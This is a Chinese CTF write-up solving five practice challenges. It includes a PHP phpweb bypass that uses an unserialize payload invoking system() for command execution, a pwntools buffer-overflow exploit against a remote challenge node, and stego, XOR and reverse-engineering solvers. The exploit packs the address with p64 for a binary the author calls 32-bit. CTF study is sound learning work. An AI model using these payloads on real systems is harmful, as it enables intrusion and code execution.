寒假2.5
题解
web:[网鼎杯 2020 朱雀组]phpweb
打开网址,一直在刷新,并有一段警告
翻译一下
查看源码
每隔五秒钟将会提交一次form1,index.php用post方式提交了两个参数func和p,func的值为date,p的值为Y-m-d h:i:s a
执行func="data"&p="Y-m-d h:i:s a"试试
?func=md5&p=123
成功
利用file_get_contents获取index.php的源码,有func的黑名单进行过滤,gettime()使用了call_user_func()执行函数func
?func=file_get_contents&p=index.php
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
</p>
法一:构造序列化得到flag
<?php
class Test {
var $p = "cat /flag";
var $func = "system";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$a = new Test();
echo serialize($a);
?>
O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}
payload:
在源代码处构造,一直都是返回原界面
构造system("find / -name *flag*") 用find查找所有文件名包含flag的文件
?func=unserialize&p=O:4:"Test":2:{s:1:"p";s:19:"find / -name *flag*";s:4:"func";s:6:"system";}
眼睛都看花了,看了别人的wp,发现是在/tmp/flagoefiu4r93下
payload:
整不出来,尝试用readfile函数读取
func=readfile&p=/tmp/flagoefiu4r93
misc:[WUSTCTF2020]alison_likes_jojo
解压,得到一个.txt文件和两张图片
用binwalk查看一下,发现隐藏的.zip文件
binwalk -e分离文件
无法解压
010看一下是不是伪加密,不是
用ziperello暴力破解
解压得到一串字符
一开始以为是base64编码,解码三次后得到‘killerqueen’,又结合另一张图,联想到outguess
使用outguess解密
crypto:buuctf
下载附件,是两个文档
搜索了yxx加密,有点像之前做过的异性相吸
而这里给的是明文和密文,所以应该是要让我们进行加密
先使用010将明文和密文转化为二进制(binary)
异或
脚本:
a='0110110001101111011101100110010101101100011011110111011001100101011011000110111101110110011001010110110001101111011101100110010101101100011011110111011001100101011011000110111101110110011001010110110001101111011101100110010101101100011011110111011001100101'
b='0000101000000011000101110000001001010110000000010001010100010001000010100001010000001110000010100001111000110000000011100000101000011110001100000000111000001010000111100011000000010100000011000001100100001101000111110001000000001110000001100000001100011000'
c=''
for i in range(len(a)):
if(a[i]==b[i]):
c+='0'
else:
c+='1'
print(c)
再把二进制转文本
reverse:[GXYCTF2019]luck_guy
下载附件,exeinfope查看,64位无壳
ida64打开
初始化v4为0,输入一个幸运数字储存在v4中,执行patch_me函数
查看patch_me函数,当输入偶数时,执行get_flag函数
查看get_flag函数
使用当前时间作为随机数种子,进行 5 次随机选择,根据不同的随机数结果执行不同的操作,其中只有在随机数为 1 时才会输出标志。最后,函数返回当前某种 “保护值” 和之前获取的 “保护值” 的异或结果
分析
unsigned __int64 get_flag()
{
unsigned int v0; // eax
int i; // [rsp+4h] [rbp-3Ch]
int j; // [rsp+8h] [rbp-38h]
__int64 s; // [rsp+10h] [rbp-30h] BYREF
char v5; // [rsp+18h] [rbp-28h]
unsigned __int64 v6; // [rsp+38h] [rbp-8h]
v6 = __readfsqword(0x28u); // 获取当前的值(某种 "保护值")
v0 = time(0LL); // 获取当前时间
srand(v0); // 使用当前时间作为种子初始化随机数生成器
for (i = 0; i <= 4; ++i) // 循环执行 5 次
{
switch (rand() % 200) // 根据随机数的值决定执行哪个分支
{
case 1:
puts("OK, it's flag:"); // 打印提示信息
memset(&s, 0, 0x28uLL); // 清空内存(将 s 初始化为零)
strcat((char *)&s, f1); // 将 f1 连接到 s
strcat((char *)&s, &f2); // 将 f2 连接到 s
printf("%s", (const char *)&s); // 打印最终的 flag
break;
case 2:
printf("Solar not like you");
break;
case 3:
printf("Solar want a girlfriend");
break;
case 4:
s = 0x7F666F6067756369LL; // 将 s 设置为某个特定的长整型值
v5 = 0; // 将 v5 设置为 0
strcat(&f2, (const char *)&s); // 将 s 连接到 f2(可能是修改 f2 的内容)
break;
case 5:
for (j = 0; j <= 7; ++j) // 修改 f2 数组的内容
{
if (j % 2 == 1)
*(&f2 + j) -= 2; // 如果 j 是奇数,减去 2
else
--*(&f2 + j); // 如果 j 是偶数,减去 1
}
break;
default:
puts("emmm,you can't find flag 23333");
break;
}
}
return __readfsqword(0x28u) ^ v6; // 返回当前 "保护值" 和之前获取的值的异或结果
}
查看f1字符串 为:"GXY{do_not_"
将31行代码转换为字符串并变为小端序 为icug`ofF\x7 33行又将f2与s连接 所以f2为 "icug`of\x7F"
case1打印flag,case4定义函数,case5进行修改加密
所以顺序是case4-->case5-->case1
代码
def main():
f1 = "GXY{do_not_"
f2 = list("icug`of\x7F") # 将 f2 转换为列表,以便修改单个字符
for j in range(8): # 循环 0 到 7
if j % 2 == 1:
f2[j] = chr(ord(f2[j]) - 2) # j 为奇数,减去 2
else:
f2[j] = chr(ord(f2[j]) - 1) # j 为偶数,减去 1
print(f"flag={f1}{''.join(f2)}")
if __name__ == "__main__":
main()
pwn:buuctf-pwn1_sctf_2016
下载附件,exeinfope查看,32位无壳
ida打开 ,main函数里有一个vuln函数
查看vuln函数
首先,fgets
函数用来从标准输入中读取最大 31 字符(留一个位置给 \0
)到数组 s
中。然后,std::string::operator=
将 s
赋值给一个 std::string
对象 input
。接下来,代码执行了一些与 std::string
相关的操作,进行了一堆乱七八糟的交换
主函数上面有个get_flag函数,点进去,有system函数
查看函数地址,后门地址0x08048F13
exp
from pwn import *
buf =remote('node5.buuoj.cn',28941)
payload = b'I'*(20)+b'aaaa'+p64(0x8048F13)
buf.sendline(payload)
buf.interactive()
最终flag
知识点
1.outguess
OutGuess 是一款通用隐写术工具,可以插入隐藏信息到数据源的冗余位中。数据源的性质与 OutGuess 的核心无关。程序依赖于数据特定的处理程序,这些处理程序将提取冗余位,并在修改后将其写回。在此版本中,PNM支持 JPEG 和 JPEG 图像格式。在下一段中,图像将用作数据对象的具体示例,尽管 OutGuess 可以使用任何类型的数据,只要提供了处理程序。
而在做题过程中,当遇见有一串字符并有一张看似多余的图片的情况时,就可以用outguess试试
安装:
sudo apt-get update
sudo apt-get install outguess
使用方式:
outguess -k “密码” -r 被加密.jpg 解密信息.txt
2.yxx加密方式
将明文转化为二进制-->准备一个密钥(一串固定的二进制字符串)-->将明文的二进制和密钥进行异或操作
所以解密的话就是反着来